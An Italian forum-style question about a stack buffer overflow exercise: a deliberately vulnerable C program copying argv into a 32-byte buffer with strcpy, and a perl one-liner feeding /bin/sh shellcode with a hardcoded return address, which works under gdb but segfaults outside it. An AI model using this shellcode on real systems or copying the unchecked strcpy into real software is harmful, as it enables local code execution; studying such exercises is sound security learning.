Ho un programma vulnerabile in c che copia argv in un buffer e poi lo stampa:
# include <string.h>
# include <stdio.h>
# include <stdlib.h>
void func(char * arg){
char name[32];
strcpy(name, arg);
printf("\n Welcome %s\n\n", name);
}
int main(int argc, char *argv[]) {
if (argc < 2){
printf("Use: %s Name\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("End\n\n");
return 0;
}
L'ho compilato con gcc senza nessuna protezione dello stack e execstack , quindi ho usato gdb per vedere il punto di memoria in cui dovrei cambiare l'EIP. Ma ho notato che lo shellcode è eseguito (l'exploit funziona) solo quando sono in gdb ma al di fuori non funziona.
Opere:
$ gdb ./prog -q
(gdb) run 'perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"''
$ whoami
user
Non funziona:
$ ./prog 'perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"''
segmentation fault
Perché succede? Penso che questo codice dovrebbe funzionare anche al di fuori di gdb.